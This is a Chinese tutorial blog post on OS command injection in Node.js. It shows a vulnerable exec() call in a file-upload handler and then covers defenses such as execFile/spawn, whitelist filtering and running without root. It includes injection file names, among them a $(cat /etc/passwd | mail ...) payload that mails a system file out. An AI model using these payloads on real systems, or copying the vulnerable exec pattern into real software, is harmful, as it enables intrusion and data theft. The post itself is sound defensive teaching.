1. 程式人生 > >Web 安全漏洞之 OS 命令注入

Web 安全漏洞之 OS 命令注入

什麼是 OS 命令注入

上週我們分享了一篇 《Web 安全漏洞之 SQL 注入》,其原理簡單來說就是因為 SQL 是一種結構化字串語言,攻擊者利用可以隨意構造語句的漏洞構造了開發者意料之外的語句。而今天要講的 OS 命令注入其實原理和 SQL 注入是類似的,只是場景不一樣而已。OS 注入攻擊是指程式提供了直接執行 Shell 命令的函式的場景,當攻擊者不合理使用,且開發者對使用者引數未考慮安全因素的話,就會執行惡意的命令呼叫,被攻擊者利用。

在 Node.js 中可以使用 exec() 執行命令。以基於 ThinkJS 開發的部落格系統 Firekylin 為例,其中有一個使用者上傳壓縮包匯入資料的功能,為了方便直接使用了 tar

命令去解壓檔案,大致程式碼如下:

const { exec } = require('child_process');

const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
    async upload() {
        const { path: filePath } = this.file('import');
        exec(`rm -rf ${extractPath}
; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`
); } } 複製程式碼

其中 filePath 是使用者上傳檔案的包含檔名的臨時上傳路徑。假設此時使用者上傳的檔名為 $(whoami).tar.gz,那麼最後 exec() 就相當於執行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"。而 Bash 的話雙引號中的 $() 包裹部分會被當做命令執行,最終達到了使用者超乎程式設定直接執行 Shell 命令的可怕結果。類似的寫法還有 `` 包裹。當然我這裡寫的是 whoami 命令顯得效果還好,如果是 $(cat /etc/passwd | mail -s "host"

[email protected]).tar.gz 能直接獲取到機器密碼之類的就能體會出這個漏洞的可怕了吧。

為什麼使用 exec 會出問題?

因為在child_process.exec引擎下,將呼叫執行"/bin/sh"。而不是目標程式。已傳送的命令只是被傳遞給一個新的"/bin/ sh'程序來執行shell。 child_process.exec的名字有一定誤導性 - 這是一個bash的直譯器,而不是啟動一個程式。這意味著,所有的shell字元可能會產生毀滅性的後果,如果直接執行使用者輸入的引數。 via: 《避免Node.js中的命令列注入安全漏洞》

OS 命令注入的危害

正如剛才所說,由於能獲取直接執行系統命令的能力,所以 OS 命令注入漏洞的危害想必不需要我再強調一遍。總之就是基本上能“為所欲為”吧。

為所欲為

防禦方法

使用 execFile / spawn

在 Node.js 中除了 exec() 之外,還有 execFile()spawn() 兩個方法也可以用來執行系統命令。它們和 exec() 的區別是後者是直接將一個命令字串傳給 /bin/sh 執行,而前者是提供了一個數組作為引數容器,最後引數會被直接傳到 C 的命令執行方法 execve() 中,不容易執行額外的引數。

當使用 spawn 或 execfile 時,我們的目標是隻執行一個命令(引數)。這意味著使用者不能執行注入的命令,因為/bin/ls並不知道如何處理反引號或管道操作或;。它的/bin/sh將要解釋的是那些命令的引數。 via: 《避免Node.js中的命令列注入安全漏洞》

不過這個也不是完美之策,這個其實是利用了執行的命令只接受普通引數來做的過濾。但是某些命令,例如 /bin/find,它提供了 -exec 引數,後續的引數傳入後會被其當成命令執行,這樣又回到了最開始的狀態了。

白名單校驗

除了上面的方法之外,我們也可以選擇對使用者輸入的引數進行過濾校驗。例如在文章開頭的上傳檔案的示例裡,由於是使用者上傳的檔名,根據上下文我們可以對其限制僅允許純英文的檔名其它的都過濾掉,這樣也能避免被注入的目的。當然黑名單也不是不可以,只是需要考慮的情況比較多,像上文說的``$()等等情況都需要考慮,再加上轉義之類的操作防不勝防,相比之下還是白名單簡單高效。

let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');
複製程式碼

當然最好還是不要允許使用者輸入引數,只允許使用者選擇比較好。

後記

網路上關於 Node.js 的命令注入漏洞描述的文章比較少,大多都是 PHP 的。雖然大道理是相同的,不過在具體的防禦處理上不同的語言稍微有點不一樣,所以寫下這篇文章分享給大家。當然除了做校驗之外,使用非 root 許可權使用者執行程式限制其許可權也能有一定的作用。另外可以定期的搜尋下程式碼中使用 exec() 命令的地方,看看有沒有問題。本來這時候應該給大家推薦一款靜態分析工具來代替人肉掃描的,不過奈何 Node.js 這方面的靜態分析工具不多。總之,日常開發中能不是用系統命令的儘量不是用,實在不得以要用的話也要做好校驗,是用 spawn() 等相較安全的方法。

參考資料: